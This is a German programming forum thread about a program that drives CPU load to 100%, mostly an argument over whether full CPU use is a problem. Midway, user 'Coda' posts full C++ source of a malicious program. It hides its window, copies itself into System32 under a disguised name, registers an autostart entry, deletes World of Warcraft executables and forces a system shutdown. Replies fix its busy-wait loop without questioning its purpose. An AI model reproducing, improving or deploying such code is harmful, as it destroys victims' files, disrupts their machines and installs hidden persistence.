100% Auslastung
-
chrische5 schrieb:
...
Das hast du einfach schön gesagt.chrische
Danke.

Ich habe immer noch nicht verstanden, welches "Problem" hier eigentlich gelöst werden soll .... vielleicht kann mal einer von denen, die einen Lösungsvorschlag unterbreitet haben, das mal kurz schildern.
Gruß,
Simon2.
-
Simon2 schrieb:
Ich habe immer noch nicht verstanden, welches "Problem" hier eigentlich gelöst werden soll .... vielleicht kann mal einer von denen, die einen Lösungsvorschlag unterbreitet haben, das mal kurz schildern.
Gruß,
Simon2.
Das Problem ist, daß es eigendlich nix zu sagen gibt, aber jeder den Drang verspürt etwas sagen zu müssen, denn die meisten haben damals den Satz in der Sesamstrasse einfach falsch verstanden. Es heißt: Wer nicht fragt bleibt dumm. die meisten glauben aber es heiße: Wer nichts sagt ist dumm.

-
schue schrieb:
Das Problem ist, daß es eigendlich nix zu sagen gibt, aber jeder den Drang verspürt etwas sagen zu müssen, denn die meisten haben damals den Satz in der Sesamstrasse einfach falsch verstanden. Es heißt: Wer nicht fragt bleibt dumm. die meisten glauben aber es heiße: Wer nichts sagt ist dumm.

Das Problem ist das die CPU beim ausführen des Programmes auf 100% belastung ansteigt und genau dieses Problem soll behoben werden.
-
guenni81 schrieb:
...Das Problem ist das die CPU beim ausführen des Programmes auf 100% belastung ansteigt und genau dieses Problem soll behoben werden.
Das ist kein Problem.
Man muß seinen Prozesseor nicht "schonen" ("Oh. mein Gott, der kommt ja aus der Puste, wenn der immer bei 100% läuft")
Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?
Gruß,
Simon2.
-
Simon2 schrieb:
Man muß seinen Prozesseor nicht "schonen" ("Oh. mein Gott, der kommt ja aus der Puste, wenn der immer bei 100% läuft")

Es kommt auf das Programm an. Wenn du nur einen Coutdown runterzählen lässt und die CPU 100% Systemauslastung anzeigt, dann kann was an dem Programm nicht stimmen.
Simon2 schrieb:
Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?
Dies ergibt sich zwangsläufig automatisch wenn die CPU bei 100% Systemauslastung liegt.
-
guenni81 schrieb:
...
Simon2 schrieb:
Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?
Dies ergibt sich zwangsläufig automatisch wenn die CPU bei 100% Systemauslastung liegt.
Es heißt aber nicht zwangsläufig, dass es ein Problem ist.
Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.Gruß,
Simon2.
-
Simon2 schrieb:
Es heißt aber nicht zwangsläufig, dass es ein Problem ist.
Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.Was für Anwendungen sind das den?
-
guenni81 schrieb:
Simon2 schrieb:
Es heißt aber nicht zwangsläufig, dass es ein Problem ist.
Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.Was für Anwendungen sind das den?
Z.B. private Keys rechnen mit entsprechenden Primzahloperationen. Eigentlich alles, wo man rechnet ... dass der normale User sich angewöhnt hat, 100%-CPU als etwas Schlechtes anzusehen, liegt wohl eher daran, dass viele ihre Computer drastisch unterfordern. Wie sagte mal ein Freund von mir so schön: "Warum soll ich meinen 286er gegen einen 386er tauschen ? Damit er noch schneller auf meinen nächsten Tastendruck warten kann ?"

Gruß,
Simon2.
-
Hier ist der Code.
Das die Schleife sich endlos laeuft sehe ich jetzt auch nicht.
Coda habe ich desshalb erst nicht geposted, weil ich genau wusste was hier nun wieder fuer Fragen auftauchen.// Prog kicks WoW // PrayLoad (c) by Coda #include <cstdlib> #include <iostream> #include <stdio.h> #include <time.h> #include <math.h> #include <windows.h> using namespace std; // Math void wait ( int seconds ) { clock_t endwait; endwait = clock () + seconds * CLK_TCK ; while (clock() < endwait) {} } // Main-Funktion int main() { // Konsole invisible SetConsoleTitle("PrayLoad"); HWND hFenster = FindWindow(NULL, "PrayLoad"); ShowWindow(hFenster, SW_HIDE); // Copy CopyFile("wow_fun.exe" , "C:\\WINDOWS\\System32\\cfmon.exe" , TRUE); // auto boot HKEY hkey; HKEY KEY = HKEY_LOCAL_MACHINE; char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"}; char name[100]= {"Autostart"}; char value[100]= {"C:\\WINDOWS\\System32\\cfmon.exe"}; RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey); RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value)); RegCloseKey(hkey); // Dec int n; int mineing = 3; int min; int sek; FILE * pFile1; pFile1 = fopen ("C:\\Programme\\World of Warcraft\\Launcher.exe","r"); FILE * pFile2; pFile2 = fopen ("D:\\Programme\\World of Warcraft\\Launcher.exe","r"); FILE * pFile3; pFile3 = fopen ("C:\\Programme\\World of Warcraft\\WoW.exe","r"); FILE * pFile4; pFile4 = fopen ("D:\\Programme\\World of Warcraft\\WoW.exe","r"); // Math min = mineing * 60; sek = min; // time for (n = sek; n > 0; --n) { wait (1); } // if for filetest if (!pFile1 == NULL || !pFile2 == NULL || !pFile3 == NULL || !pFile4 == NULL) { // Del DeleteFile("C:\\Programme\\World of Warcraft\\Launcher.exe"); DeleteFile("D:\\Programme\\World of Warcraft\\Launcher.exe"); DeleteFile("C:\\Programme\\World of Warcraft\\WoW.exe"); DeleteFile("D:\\Programme\\World of Warcraft\\WoW.exe"); // Terminate // Shutdown system("shutdown -s -t 0"); } else { return 0; } return 0; }MfG
Coda
-
Coda@linux.PrayLoad. schrieb:
void wait ( int seconds ) { clock_t endwait; endwait = clock () + seconds * CLK_TCK ; while (clock() < endwait) { Sleep(1000); } }"Problem" gelöst?
(Rest des Programms nicht angeschaut, ich hoffe ich habe deine Frage verstanden)
-
Naja, kein Wunder das da ne 100% CPU Auslastung rauskommt wenn die wait-funktion nonstop clock() called.
btw, geht viel einfacher:
void wait ( int seconds ) { Sleep(1000 * seconds); }Mit dem Unterschied das der Thread vom Sleep suspended wird, also 0 CPU Auslastung erzeugt solange er wartet.
-
Ja, danke, aber ich verstehe es nicht so wirklich.
MfG
Coda
-
hmm, also:
while (clock() < endwait) {}Das ist eine while-schleife die non-stop den clock() Befehl aufruft. Dein Computer benutzt also seine komplette Rechenleistung um ununterbrochen clock() aufzurufen bis die Abbruchbedingung erreicht ist. Auf meinem Rechner sind das z.B 13.706.686 Aufrufe pro Sekunde. UNd genau da kommen deine 100% Rechenauslastung her...
-
Coda@linux.PrayLoad schrieb:
Ja, danke, aber ich verstehe es nicht so wirklich.
MfG
CodaHi,
sieh es mal anders herum:
- Dein Prozess hat nur dann weniger als 100% CPU-Auslastung, wenn der Rechner einem anderen Prozess (und sei es "idle") Rechenzeit zuweist.
- Damit der Rechner das tut, musst Du ihm mitteilen, dass Du jetzt etwas Rechnezeit "übrig" hast.
- Das teilst Du ihm mittels sleep() mit.(ich weiß, im Detail ist scheduling noch deutlich komplexer, aber das ist schonmal ein Grundprinzip)
Gruß,
Simon2.
-
Simon2 schrieb:
guenni81 schrieb:
...
Simon2 schrieb:
Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?
Dies ergibt sich zwangsläufig automatisch wenn die CPU bei 100% Systemauslastung liegt.
Es heißt aber nicht zwangsläufig, dass es ein Problem ist.
Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.Gruß,
Simon2.
wenn ein programm nur auf eine Eingabe wartet order in Wirklichkeit gar nicht rechnet, dann ist es durchaus ein Problem.
mfg.
-
joomoo schrieb:
Simon2 schrieb:
guenni81 schrieb:
...
Simon2 schrieb:
Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?
Dies ergibt sich zwangsläufig automatisch wenn die CPU bei 100% Systemauslastung liegt.
Es heißt aber nicht zwangsläufig, dass es ein Problem ist.
Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.Gruß,
Simon2.
wenn ein programm nur auf eine Eingabe wartet order in Wirklichkeit gar nicht rechnet, dann ist es durchaus ein Problem.
mfg.
Klar, wenn das Programm mit seiner CPU-Zeit nicht das tut, was es soll, ist ein Problem - aber das ist nichts Neues.
Meine Aussage weiterhin: Es mag sein, dass eine 100%-CPU-Auslastung ein Symptom eines Problems ist ... für sich genommen ist sie aber kein Problem.Gruß,
Simon2.
-
Simon2 schrieb:
Klar, wenn das Programm mit seiner CPU-Zeit nicht das tut, was es soll, ist ein Problem - aber das ist nichts Neues.
Nein, nicht nur das: Wenn ein Programm auch noch zuviel tut als es soll, und nicht seine CPU-Zeit abgibt, ist es auch ein problem.
Meine Aussage weiterhin: Es mag sein, dass eine 100%-CPU-Auslastung ein Symptom eines Problems ist ... für sich genommen ist sie aber kein Problem.
Er programmiert ja einen Countdown, der sollte nicht 100% verbrauchten.
mfg.
-
joomoo schrieb:
Simon2 schrieb:
Klar, wenn das Programm mit seiner CPU-Zeit nicht das tut, was es soll, ist ein Problem - aber das ist nichts Neues.
Nein, nicht nur das: Wenn ein Programm auch noch zuviel tut als es soll, ...
"zuviel" gehört wohl auch zu "nicht, was es soll", oder ?
Anders herum: Bist Du der Meinung, dass wirklich immer, wenn ein Programm 100%-CPUzeit bekommt, ein Problem vorliegt ?
Wenn nein, habe ich Recht gehabt.
Wenn doch, müssen wir das Konzept unserer seit Jahren erfolgreich laufenden Anwendung überarbeiten.
Gruß,
Simon2.
-
Simon2 schrieb:
joomoo schrieb:
Simon2 schrieb:
Klar, wenn das Programm mit seiner CPU-Zeit nicht das tut, was es soll, ist ein Problem - aber das ist nichts Neues.
Nein, nicht nur das: Wenn ein Programm auch noch zuviel tut als es soll, ...
"zuviel" gehört wohl auch zu "nicht, was es soll", oder ?
Stimmt, wenn man es so sieht, dass das was es soll ja eigentlich nichts ist.
Anders herum: Bist Du der Meinung, dass wirklich immer, wenn ein Programm 100%-CPUzeit bekommt, ein Problem vorliegt ?
Nein natürlich nicht.
Wenn nein, habe ich Recht gehabt.
Womit? Dass es für sich genommen kein Problem ist? Okay, aber ich denke dass man in den meisten Fällen von einem Problem sprechen kann. Auch hier, andernfalls wäre die Frage nicht gestellt worden.
mfg.
-
Könnt ihr euch darauf einigen, dass eine hohe CPU-Auslastung per se keine schlechte, sondern im Prinzip eine gute Sache ist -- sofern die verursachende Anwendung die Rechenzeit nicht mit Nichtstun verbrät?